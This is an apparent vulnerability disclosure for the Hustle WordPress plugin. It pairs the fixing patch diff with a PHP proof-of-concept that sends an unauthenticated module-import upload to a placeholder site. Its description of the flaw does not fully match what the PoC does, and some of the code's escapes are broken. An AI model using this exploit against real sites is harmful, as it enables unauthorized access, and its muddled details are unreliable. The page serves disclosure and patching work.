CVE-2026-24998: Hustle <= 7.8.9.2 – Unauthenticated Information Exposure (wordpress-popup)

--- a/wordpress-popup/inc/hustle-modules-common-admin-ajax.php
+++ b/wordpress-popup/inc/hustle-modules-common-admin-ajax.php
@@ -371,7 +371,7 @@

 			$is_new_module = is_wp_error( $module );

-			if ( ! $is_new_module && ! current_user_can( 'hustle_create' ) ) {
+			if ( $is_new_module && ! Opt_In_Utils::is_user_allowed( 'hustle_create' ) ) {
 				throw new Exception( 'invalid_permissions' );
 			}

@@ -407,13 +407,24 @@
 					throw new Exception( sprintf( __( 'Error: %s', 'hustle' ), esc_html( $file['error'] ) ) );
 				}

+				// Temporarily allow JSON file uploads.
+				$json_mime_filter = function ( $mimes ) {
+					$mimes['json'] = 'application/json';
+					return $mimes;
+				};
+
+				add_filter( 'upload_mimes', $json_mime_filter );
 				// Get the file's content.
 				$overrides = array(
 					'test_form' => false,
-					'test_type' => false,
+					'test_type' => true,
 				);

 				$wp_file = wp_handle_upload( $file, $overrides );
+
+				// Remove the filter after validation.
+				remove_filter( 'upload_mimes', $json_mime_filter );
+
 				if ( isset( $wp_file['error'] ) ) {
 					throw new Exception( __( 'The file could not be uploaded.check your upload folder permissions.', 'hustle' ) );
 				}
--- a/wordpress-popup/popover.php
+++ b/wordpress-popup/popover.php
@@ -10,7 +10,7 @@
  * Plugin Name: Hustle
  * Plugin URI: https://wordpress.org/plugins/wordpress-popup/
  * Description: Start collecting email addresses and quickly grow your mailing list with big bold pop-ups, slide-ins, widgets, or in post opt-in forms.
- * Version: 7.8.9.2
+ * Version: 7.8.9.3
  * Author: WPMU DEV
  * Author URI: https://wpmudev.com
  * Tested up to: 6.8

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24998 - Hustle <= 7.8.9.2 - Unauthenticated Information Exposure

<?php

$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';

// The exploit requires a valid Hustle module export JSON file.
// This script demonstrates the unauthorized upload request.
// Create a sample malicious JSON payload.
$malicious_json = json_encode([
    'module' => [
        'module_name' => 'Atomic Edge Test',
        'metadata' => [
            'source' => 'malicious_import'
        ]
        // In a real attack, this would contain sensitive data exfiltrated from another site.
    ]
]);

// Write the payload to a temporary file.
$tmp_file = tempnam(sys_get_temp_dir(), 'hustle_');
file_put_contents($tmp_file, $malicious_json);

// Prepare the multipart form data for the file upload.
$post_fields = [
    'action' => 'hustle_import_module',
    // The nonce parameter is not required due to the missing auth check.
    'import_file' => new CURLFile($tmp_file, 'application/json', 'module_export.json')
];

// Initialize cURL.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Clean up the temporary file.
unlink($tmp_file);

// Output the result.
echo "HTTP Response Code: $http_coden";
echo "Response Body: $responsen";

// A successful exploitation attempt may return a JSON response containing imported module data.
?>